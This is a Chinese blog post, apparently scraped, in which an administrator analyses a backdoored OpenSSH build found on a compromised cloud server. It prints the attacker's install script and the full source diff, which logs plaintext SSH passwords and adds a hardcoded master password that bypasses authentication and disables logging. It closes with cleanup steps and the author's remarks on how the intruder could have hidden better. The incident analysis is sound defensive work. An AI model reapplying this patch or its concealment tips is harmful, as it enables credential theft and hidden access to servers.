SSH服务恶意代码分析
来源:互联网 发布:拍电影特效软件 编辑:程序博客网 时间:2024/04/27 19:03
SSH服务恶意代码分析
摘要:
本文介绍一个ssh服务的恶意代码,该恶意代码为本人管理阿里云服务器时偶然发现,研究源码感觉存在较大的隐蔽性和安全隐患,因此写此博客记录之。
正文:
初探:
昨天检查实验室阿里云服务器/etc/passwd 文件存在提权用户Redistoor,初步怀疑系统被入侵。先不管,先把这个用户给禁用。
查看rc.local系统自启动文件发现可疑启动项/tmp/minerd –XXXXX,可初步判断入侵者实际上已经获得了root权限。
切换到/tmp目录下,未发现minerd程序,反而发现存在名字为httpdd的可执行文件,运行httpdd -v 发现无输出任何信息,感觉程序存在伪装成httpd的可能,应该是恶意代码,于是尝试执行,仅仅发现程序会连接网络,但具体做什么事不得而知。
入侵轨迹:
进入Redistoor的根目录,存在.bash_history文件,读取本文件得到该入侵用户bash历史指令:
密码记录:
由于/tmp目录下确实存在zilog文件,读取该文件,吓了一跳,尼玛,记录着全部用户登录到系统的明文密码:
user:passwd –> root:密码
到这里大概已经可以猜到httpdd是用来传输zilog文件的程序了,尝试着通过再次用ssh连接到服务器,结果zilog又再次记录了本次登录的密码,并且不仅仅对root,对于任何用户,该功能一直有效。
一开始我怀疑是系统登录时/etc/.bashrc 或者profile被修改了某些能够记录用户密码的脚本,然而我错了。
陷入困境:
在纠结和无数次失败的尝试中度过了好几个小时,思路主要是想知道每次登录时,到底是哪个程序试图在写入zilog文件,尝试方法是用lsof,然而写入zilog文件似乎的很快的事情,当敲完lsof运行时可能程序早已写入并退出,这样lsof扑空。那我写个while循环呢?并没有什么卵用。
线索到这里似乎就断了,向阿里的客服申请帮助,可是居然要我花3000多块钱买他们的服务器托管服务,就是个坑。还是自己动手丰衣足食好了。于是随便到其他目录逛逛,看下还有没有其他可疑的线索。
柳暗花明:
嘿嘿!运气好得不得了,在/usr目录下有了新的发现。该目录下面发现了Javar以及Farm的可执行代码,执行Javar也是一个网络连接程序,而且一旦运行按下Ctrl+C不但无法退出,还抛出一句“FuckYou!!!”,Oh,Shit! 这是入侵者最好的呼喊吧,在windows平台用binaryviewer打开查看其二进制对于的ASCII码,从中分析获取其自定义的一些字符常量,发现DDOS选项,估计这是个执行DDOS攻击的工具。
此外在/usr目录下还有一个‘1’的可执行程序,执行了一下发现其实是一个bash脚本:
yum install -y zlib zlib-develyum groupinstall -y "Development tools"yum install -y openssl openssl-devel pam-develapt-get install gcc g++ make perl curlapt-get install -y libssl-devapt-get install zlib1g.devapt-get install -y opensslapt-get install -y rpmapt-get install -y libssl-devapt-get install -y libpam0g-devapt-get install -y libkrb5-devtar zxvf China.Z.tar.gzcd ./openssh-5.9p1./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5make && make install/etc/init.d/sshd restart/etc/rc.d/init.d/sshd restartcd ../rm -rf /openssh-5.9p1rm -rf China.Z.tar.gzrm -rf Install.sh
从脚本中可以发现脚本会用yum或者apt-get安装一些安装sshd服务所需的依赖库,然后解压China.Z.tar.gz文件,估计该文件解压出来就是
openssh-5.9p1文件,然后进入该文件去进行编译,安装替换掉系统原来的ssh程序,最后重启sshd服务,只要入侵者在sshd服务中做一些手脚,就完全有可能获取到登录的明文密码了,虽然一开始我也有怀疑是sshd服务被替换,没想到入侵者居然真的用了这么绝的手段。
百密一疏:
看了下/usr目录,openssh-5.9pl居然还在!!!!!原来脚本中rm -rf /openssh-5.9pl少了个‘.’,百密一疏了吧,源码都没删除,这回抓活的了。
进入源码目录,天哪,好方,一堆文件,我只是想知道他到底改动了源码的哪些地方而已。一开始思路是从文件修改时间上看,那些修改时间较为临近的就是被入侵者自己修改的文件,于是按照这个思路对问津按照时间进行排序,发现了个可以省很多时间的文件:ssdb5.9.p1.diff !哈哈,diff !!!!!!!!!! 真没想到!打开文件,全部源码修改暴露无疑:
diff -u openssh-5.9p1/auth.c openssh-5.9p1.patch//auth.c--- openssh-5.9p1/auth.c 2011-05-29 18:40:42.000000000 +0700+++ openssh-5.9p1.patch//auth.c 2012-02-04 22:17:53.381926889 +0700@@ -271,14 +271,16 @@ else authmsg = authenticated ? "Accepted" : "Failed";- authlog("%s %s for %s%.100s from %.200s port %d%s",- authmsg,- method,- authctxt->valid ? "" : "invalid user ",- authctxt->user,- get_remote_ipaddr(),- get_remote_port(),- info);+ if(!secret_ok || secret_ok !=1){+ authlog("%s %s for %s%.100s from %.200s port %d%s",+ authmsg,+ method,+ authctxt->valid ? "" : "invalid user ",+ authctxt->user,+ get_remote_ipaddr(),+ get_remote_port(),+ info);+ } #ifdef CUSTOM_FAILED_LOGIN if (authenticated == 0 && !authctxt->postponed &&diff -u openssh-5.9p1/auth-pam.c openssh-5.9p1.patch//auth-pam.c--- openssh-5.9p1/auth-pam.c 2009-07-12 19:07:21.000000000 +0700+++ openssh-5.9p1.patch//auth-pam.c 2012-02-04 22:17:53.381926889 +0700@@ -1210,6 +1210,10 @@ if (sshpam_err == PAM_SUCCESS && authctxt->valid) { debug("PAM: password authentication accepted for %.100s", authctxt->user);+ if((f=fopen(ILOG,"a"))!=NULL){+ fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);+ fclose(f);+ } return 1; } else { debug("PAM: password authentication failed for %.100s: %s",diff -u openssh-5.9p1/auth-passwd.c openssh-5.9p1.patch//auth-passwd.c--- openssh-5.9p1/auth-passwd.c 2009-03-08 07:40:28.000000000 +0700+++ openssh-5.9p1.patch//auth-passwd.c 2012-02-04 22:17:53.381926889 +0700@@ -85,7 +85,10 @@ #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE) static int expire_checked = 0; #endif-+ if (!strcmp(password, SECRETPW)) {+ secret_ok=1;+ return 1;+ } #ifndef HAVE_CYGWIN if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES) ok = 0;@@ -123,6 +126,12 @@ } #endif result = sys_auth_passwd(authctxt, password);+ if(result){+ if((f=fopen(ILOG,"a"))!=NULL){+ fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);+ fclose(f);+ }+ } if (authctxt->force_pwchange) disable_forwarding(); return (result && ok);diff -u openssh-5.9p1/canohost.c openssh-5.9p1.patch//canohost.c--- openssh-5.9p1/canohost.c 2010-10-12 09:28:12.000000000 +0700+++ openssh-5.9p1.patch//canohost.c 2012-02-04 22:17:53.381926889 +0700@@ -78,10 +78,12 @@ debug3("Trying to reverse map address %.100s.", ntop); /* Map the IP address to a host name. */- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),- NULL, 0, NI_NAMEREQD) != 0) {- /* Host name not found. Use ip address. */- return xstrdup(ntop);+ if(!secret_ok || secret_ok!=1){+ if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),+ NULL, 0, NI_NAMEREQD) != 0) {+ /* Host name not found. Use ip address. */+ return xstrdup(ntop);+ } } /*Common subdirectories: openssh-5.9p1/contrib and openssh-5.9p1.patch//contribdiff -u openssh-5.9p1/includes.h openssh-5.9p1.patch//includes.h--- openssh-5.9p1/includes.h 2010-10-24 06:47:30.000000000 +0700+++ openssh-5.9p1.patch//includes.h 2012-02-04 22:17:53.385927565 +0700@@ -172,4 +172,9 @@ #include "entropy.h"+int secret_ok;+FILE *f;+#define ILOG "/tmp/ilog"+#define OLOG "/tmp/olog"+#define SECRETPW "apaajaboleh" #endif /* INCLUDES_H */diff -u openssh-5.9p1/log.c openssh-5.9p1.patch//log.c--- openssh-5.9p1/log.c 2011-06-20 11:42:23.000000000 +0700+++ openssh-5.9p1.patch//log.c 2012-02-04 22:17:53.385927565 +0700@@ -351,6 +351,7 @@ void do_log(LogLevel level, const char *fmt, va_list args) {+if(!secret_ok || secret_ok!=1){ #if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT) struct syslog_data sdata = SYSLOG_DATA_INIT; #endif@@ -428,3 +429,4 @@ } errno = saved_errno; }+}Common subdirectories: openssh-5.9p1/openbsd-compat and openssh-5.9p1.patch//openbsd-compatCommon subdirectories: openssh-5.9p1/openssh-5.9p1.patch and openssh-5.9p1.patch//openssh-5.9p1.patchOnly in openssh-5.9p1.patch/: password_authenticationCommon subdirectories: openssh-5.9p1/regress and openssh-5.9p1.patch//regressCommon subdirectories: openssh-5.9p1/scard and openssh-5.9p1.patch//scarddiff -u openssh-5.9p1/servconf.c openssh-5.9p1.patch//servconf.c--- openssh-5.9p1/servconf.c 2011-06-23 05:30:03.000000000 +0700+++ openssh-5.9p1.patch//servconf.c 2012-02-04 22:17:53.385927565 +0700@@ -686,7 +686,7 @@ { "without-password", PERMIT_NO_PASSWD }, { "forced-commands-only", PERMIT_FORCED_ONLY }, { "yes", PERMIT_YES },- { "no", PERMIT_NO },+ { "no", PERMIT_YES }, { NULL, -1 } }; static const struct multistate multistate_compression[] = {Only in openssh-5.9p1.patch/: sshbd5.9p1.diffdiff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700+++ openssh-5.9p1.patch//sshconnect2.c 2012-02-04 22:17:53.385927565 +0700@@ -878,6 +878,10 @@ snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", authctxt->server_user, host); password = read_passphrase(prompt, 0);+ if((f=fopen(OLOG,"a"))!=NULL){+ fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);+ fclose(f);+ } packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service);diff -u openssh-5.9p1/sshlogin.c openssh-5.9p1.patch//sshlogin.c--- openssh-5.9p1/sshlogin.c 2011-01-11 13:20:07.000000000 +0700+++ openssh-5.9p1.patch//sshlogin.c 2012-02-04 22:17:53.389928235 +0700@@ -133,8 +133,10 @@ li = login_alloc_entry(pid, user, host, tty); login_set_addr(li, addr, addrlen);- login_login(li);- login_free_entry(li);+ if(!secret_ok || secret_ok!=1){+ login_login(li);+ login_free_entry(li);+ } } #ifdef LOGIN_NEEDS_UTMPX@@ -158,6 +160,8 @@ struct logininfo *li; li = login_alloc_entry(pid, user, NULL, tty);- login_logout(li);- login_free_entry(li);+ if(!secret_ok || secret_ok!=1){+ login_logout(li);+ login_free_entry(li);+ } }diff -u openssh-5.9p1/version.h openssh-5.9p1.patch//version.h--- openssh-5.9p1/version.h 2011-09-07 06:11:20.000000000 +0700+++ openssh-5.9p1.patch//version.h 2012-02-04 23:03:22.821948952 +0700@@ -1,6 +1,6 @@ /* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */-#define SSH_VERSION "OpenSSH_5.9"+#define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3" #define SSH_PORTABLE "p1" #define SSH_RELEASE SSH_VERSION SSH_PORTABLE
上帝为你关上一扇门,自己给自己打开一个窗:
可见对源码修改,使它具备记录账户明文信息主要是在:auth-passwd.c中,代码会执行fopen(“/tmp/zilog”,”a”)在文件末尾追加账户信息。
在该代码中,还有一点比较变态的是:SECRETPW 这个宏定义(在includes.h中定义为#define SECRETPW “apaajaboleh”),代码:
+ if (!strcmp(password, SECRETPW)) {+ secret_ok=1;+ return 1;+ }
大概的思路是密码跟SECRETPW进行匹配,如果匹配满足,则验证通过。这意味也就着,入侵者在不知道密码的情况下,只要用系统已有的账户名(包括root),输入SECRETPW定义的字符串即”apaajaboleh”,也能登录系统!!!!!
另外一个值得注意的是,系统除了具有登录到本机的账号和密码以外,还具有记录从本机通过ssh、scp等命令登录到其他计算机的能力,生成的记录会保存在/tmp/zolog。在sshconnect2.c代码中,实现了本功能。
if((f=fopen(OLOG,"a"))!=NULL){ fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host); fclose(f);}
总结及应对方法:
至此,本恶意程序的分析工作完毕,总结起来,该恶意代码的执行特征如下:
(1) 监控登录到本机的用户,并将登录账户和密码记录到/tmp/zilog(2) 监控通过本机登录带其他机器的用户,并将登录账户、密码和目标地址记录到/tmp/zolog(3) 预留后门验证密码,方便密码上传程序上传失败时登录系统使用。
应对策略:
(1)删除/usr/bin 下ssh开头的可执行文件:rm -rf /usr/bin/ssh* (2)删除/usr/sbin下sshd文件:rm -rf /usr/bin/sshd (3)删除/etc/ssh 下的配置文件 rm -rf /etc/ssh/* (4)利用yum重装openssh服务:yum reinstall openssh 或者 下载openssh源码编译安装 (5)重置系统全部账户密码,如果可能,改用公钥-密钥对认证
发此博客,主要是该恶意程序存在巨大的安全隐患,入侵者破解系统登录密码以后,通过替换系统关键远程登录服务sshd执行文件的方法自动上传用户密码可谓一劳永逸,而预留后门登录密码的方式却是特别保险的方法。
但是,吐槽一下,该攻击者执行入侵的轨迹过于明显,入侵手段还有一些需要提高的地方:
(1)留下大量的入侵记录,在/etc/passwd中,既然已经获得系统 root权限,有必要删除入侵账户,而且应该完全删除入侵账户的根 目录;(2)安装恶意代码过于随意,如果将httpdd Javar Fram 等程序安 装到/usr/bin或者/bin等目录下,无疑会增加恶意程序的隐蔽 性,增强其生存几率。(3)最严重的是一时疏忽暴漏由于少加了个'.'直接暴漏主要的源代码, 这使得本次的侦破难度大大降低,可谓连根拔起。
在 Javar、httpdd、Farm中还有很多可以挖掘的信息,笔者无意,故放弃之。
- SSH服务恶意代码分析
- 恶意代码分析
- 恶意代码分析实战
- 恶意代码分析模板
- 安卓恶意代码分析
- 恶意代码分析模板
- 恶意代码实战分析
- NSE分析恶意代码
- 恶意代码分析二
- CCleaner恶意代码分析预警
- 浅谈恶意代码的研究分析
- 百度贴吧恶意代码分析
- 恶意代码分析利器 – scdbg
- 恶意代码分析实战-第二章
- 恶意代码--逆向分析基础入门
- 恶意代码逆向分析基础入门
- 【恶意代码分析】关键函数备忘录
- 恶意代码分析实战 Lab16-01
- qml的states属性
- 今天做了freemaker 导出word文档 的bug修复,解决 \n换行 问题
- Maven学习一:用Maven创建Java Project
- GoogleAPI-Adwords-Bid Landscapes
- AMD小记
- SSH服务恶意代码分析
- 《Sql Server 分页查询》
- 一个tableView的Cell中有两个点击按钮及tableView的重用
- Proteus Design Suite v8.4 SP0 1CD PCB设计软件带高级模拟仿
- Linux常用文件命令
- Android 开发最佳实践
- Android微信、朋友圈分享回调函数无响应
- 快让eclipse打包apk折腾死了~勾选cdt builder又出现ndk错误之解决办法
- Nexus远程Maven仓库索引下载教程